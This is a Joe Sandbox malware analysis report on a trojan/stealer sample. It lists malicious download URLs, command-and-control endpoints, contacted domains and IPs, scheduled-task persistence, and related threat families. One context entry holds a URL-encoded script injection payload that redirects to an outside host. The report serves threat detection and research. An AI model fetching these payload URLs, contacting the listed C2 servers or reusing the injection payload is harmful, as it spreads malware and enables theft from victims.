http://31.41.244.11/files/geopoxid/random.exe	100%	Avira URL Cloud	phishing
http://31.41.244.11/files/burpin1/random.exe%Xa	0%	Avira URL Cloud	safe
http://31.41.244.11/files/unique1/random.exe1a	0%	Avira URL Cloud	safe
http://31.41.244.11/files/martin/random.exeU	0%	Avira URL Cloud	safe
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745	100%	Avira URL Cloud	malware
https://api.libertyreserve.com/beta/xml/history.aspxS	0%	Avira URL Cloud	safe
http://31.41.244.11/files/wicked/random.exe	100%	Avira URL Cloud	phishing
https://cheapptaxysu.click/api	0%	Avira URL Cloud	safe
http://fivetk5vt.top/v1/upload.php	100%	Avira URL Cloud	malware
http://31.41.244.11/files/unique1/random.exe1aMX	0%	Avira URL Cloud	safe
https://cheapptaxysu.click/apie	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cheapptaxysu.click	172.67.177.88	true	true	unknown
home.fivetk5vt.top	176.53.146.212	true	false	high
fivetk5vt.top	176.53.146.212	true	false	high
github.com	20.233.83.145	true	false	high
grannyejh.lat	172.67.179.109	true	false	high
raw.githubusercontent.com	185.199.109.133	true	false	high
aspecteirs.lat	104.21.66.85	true	true	unknown
www.google.com	142.250.181.132	true	false	high
httpbin.org	98.85.100.80	true	false	high
sweepyribs.lat	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
aspecteirs.lat	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
sweepyribs.lat	false		high
sustainskelet.lat	false		high
rapeflowwj.lat	false		high
energyaffai.lat	false		high
https://aspecteirs.lat/api	true	Avira URL Cloud: malware	unknown
grannyejh.lat	false		high
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ1734514745	true	Avira URL Cloud: malware	unknown
necklacebudi.lat	false		high
https://cheapptaxysu.click/api	true	Avira URL Cloud: safe	unknown
http://fivetk5vt.top/v1/upload.php	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.cloudflare.com/learning/access-management/phishing-attack/	751afd6d8b.exe, 0000000B.00000003.2492605016.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492834249.0000000001404000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492605016.0000000001431000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492807191.000000000143E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exe	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/#u	751afd6d8b.exe, 0000000B.00000003.2517555332.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2701156853.00000000013F5000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698856799.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/	skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.sajatypeworks.com	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html	e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/transfer.aspx	79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	false		high
https://cheapptaxysu.click/mm	751afd6d8b.exe, 0000000B.00000003.2590168330.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2598539535.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590393789.0000000005ADE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/wicked/random.exeded	skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.galapagosdesign.com/DPlease	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe7	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.urwpp.deDPlease	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.zhongyicts.com.cn	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grannyejh.lat/#	27302b4729.exe, 0000001C.00000002.2867495535.0000000000C37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/unique1/random.exe0	skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.libertyreserve.com/beta/xml/balance.aspx	79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://cheapptaxysu.click/m	751afd6d8b.exe, 0000000B.00000003.2517520209.0000000001444000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe9n	skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/q/14436606/23354	79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/history.aspx	79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	751afd6d8b.exe, 0000000B.00000003.2589537623.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2590046666.0000000005AEA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	751afd6d8b.exe, 0000000B.00000003.2520388178.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543291392.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2520309159.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543458685.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique3/random.exeZY	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/dodo/random.exe	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	751afd6d8b.exe, 0000000B.00000003.2567256252.0000000005BFC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exe	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	false		high
http://home.fivetk5vt.top/hLfzXsaqNtoEGyaUtOMJ17	e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.carterandcone.coml	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.cloudflare.com/5xx-error-landing	751afd6d8b.exe, 0000000B.00000003.2492535638.0000000001440000.00000004.00000020.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2492605016.00000000013F5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11//Zu7JuNko/index.php	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/215.113.43/Zu7JuNko/index.php	skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/frere-user.html	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://httpbin.org/ipbefore	e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/geopoxid/random.exe	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.microsof	751afd6d8b.exe, 0000000B.00000003.2520309159.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000015.00000002.2766500975.0000000005205000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe	skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	751afd6d8b.exe, 0000000B.00000003.2520388178.0000000005B03000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sci.libertyreserve.com/	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 00000007.00000000.2372102181.0000000000F22000.00000002.00000001.01000000.00000009.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe1a	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique1/random.exees/unique1/random.exe	skotes.exe, 00000006.00000002.3049228877.00000000009D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://html4/loose.dtd	e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/burpin1/random.exe%Xa	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designersG	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/wicked/random.exe	skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.fontbureau.com/designers/?	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-netJ	79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers?	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/martin/random.exeU	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.tiro.com	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	751afd6d8b.exe, 0000000B.00000003.2518740794.0000000005B1C000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2518977582.0000000005B19000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/history.aspxS	79cd489a19.exe, 00000007.00000002.2445664701.00000000035A1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	751afd6d8b.exe, 0000000B.00000003.2520388178.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543291392.0000000005B28000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2520309159.0000000005B2F000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2543458685.0000000005B28000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://.css	e8da769a7d.exe, 0000000D.00000003.2587446610.000000000784F000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpP	skotes.exe, 00000006.00000002.3049228877.000000000097E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.typography.netD	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/staff/dennis.htm	79cd489a19.exe, 00000007.00000002.2461377934.0000000009B02000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cheapptaxysu.click/apie	751afd6d8b.exe, 0000000B.00000003.2675799130.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2650208475.0000000005AE5000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000002.2713675940.0000000005AED000.00000004.00000800.00020000.00000000.sdmp, 751afd6d8b.exe, 0000000B.00000003.2698589160.0000000005AED000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/mgravell/protobuf-neti	79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/unique1/random.exe1aMX	skotes.exe, 00000006.00000002.3049228877.0000000000997000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	751afd6d8b.exe, 0000000B.00000003.2565618494.0000000005B0D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/11564914/23354;	79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
172.67.177.88	cheapptaxysu.click	United States	13335	CLOUDFLARENETUS	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
104.21.66.85	aspecteirs.lat	United States	13335	CLOUDFLARENETUS	true
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
176.53.146.212	home.fivetk5vt.top	United Kingdom	35791	VANNINVENTURESGB	false
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578265
Start date and time:	2024-12-19 14:08:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@81/56@22/9
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 57% Number of executed functions: 258 Number of non-executed functions: 93
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.17.78, 64.233.164.84, 4.175.87.197, 13.107.246.63, 23.218.208.109
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
08:10:02	API Interceptor	587477x Sleep call for process: skotes.exe modified
08:10:15	API Interceptor	1x Sleep call for process: 79cd489a19.exe modified
08:10:25	API Interceptor	8x Sleep call for process: 751afd6d8b.exe modified
08:10:51	API Interceptor	26x Sleep call for process: powershell.exe modified
08:10:59	API Interceptor	2x Sleep call for process: 27302b4729.exe modified
08:11:02	API Interceptor	67x Sleep call for process: d7a64ab6bf.exe modified
08:11:07	API Interceptor	64x Sleep call for process: e8da769a7d.exe modified
08:11:13	API Interceptor	3x Sleep call for process: fc157b04b959476fb80c0241912978f9.exe modified
13:09:18	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
13:11:18	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
	AWrVzd6XpC.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
172.67.177.88	http://click.accelo.com/ls/click?upn=c0iB0xQ4ZTg13yjvbQXmi3E3-2FYICuYinqI3Eu3HkLVg-3DaItC_JvGHKpbJferqo4wFvApnpaVwt1KUo-2BlGINtA-2F491YuuYKjAyUTOOwaM47XSKrX4SnW-2Fau-2F6FV-2Bn4CFCF2r0LA6vLlt1xoh9D-2F06a1peHqd6CpkWJ4zPSDCvwvCjm6-2BMoLYRcc-2Fx4Iapejg1Bnr-2FecmA6tdCw5t2p0JBd5znAms58ofvnjqcczVMJYyOQy58ZhyqExzVmv7Op27kcIqI2EViuk0T4gg51j82pQCW-2B1A-2F5ZEsa5g1crqa2JDcBSrNaoTtZfZCjTZguyx-2FjCmC3ySkusy5GIeIKkWbLfmKXJ6PwHXv-2BxhYKSlWnehJ9X2Pu#jmyllrvqkxwa=qeqokzfpdnls1e564ta00lgjk002vx4020750f0362005gw7y	Get hash	malicious	Unknown	Browse
	https://storage.googleapis.com/tf3no4swz21zlasg/75752b9.html#FDm8vwZK.aspx?fRl9xNccwwPcczDyScdcNRddcH77xncsXcbbb4X	Get hash	malicious	Unknown	Browse
	https://hantal.fanlink.tv/o7IZ	Get hash	malicious	Unknown	Browse
	https://inlook.fi/?s=%22%2F%3C%2Fscript%3E%3Cscript%3Ewindow%5B%27location%27%5D%5B%27replace%27%5D%28%5B%27h%27%2C%27t%27%2C%27t%27%2C%27p%27%2C%27s%27%2C%27%3A%27%2C%27%2F%27%2C%27%2F%27%2C%27j%27%2C%27i%27%2C%27n%27%2C%27x%27%2C%27m%27%2C%27u%27%2C%27x%27%2C%27.%27%2C%27c%27%2C%27o%27%2C%27m%27%2C%27%2F%27%2C%271%27%2C%270%27%2C%270%27%2C%278%27%2C%273%27%2C%275%27%2C%27e%27%2C%274%27%2C%27e%27%2C%275%27%2C%27d%27%2C%278%27%2C%275%27%2C%274%27%2C%27e%27%2C%274%27%2C%278%27%2C%270%27%2C%270%27%5D%5B%27join%27%5D%28%27%27%29%29%2Cdocument%5B%27body%27%5D%5B%27style%27%5D%5B%27opacity%27%5D%3D0x0%3B%3C%2Fscript%3E	Get hash	malicious	Phisher	Browse
	http://yhtc.waitslotvip.shop/4twZzp2966ZfQW273ylszwngjeo14478IENNWZNBABFXSHI196580PMUT9061Y12	Get hash	malicious	Phisher	Browse
	http://kugs.vipku.org/4EameH2979CPbk273kjuzxrriqa14014SCJHJGOXVHMJBHR889062RABJ9063b12	Get hash	malicious	Phisher	Browse
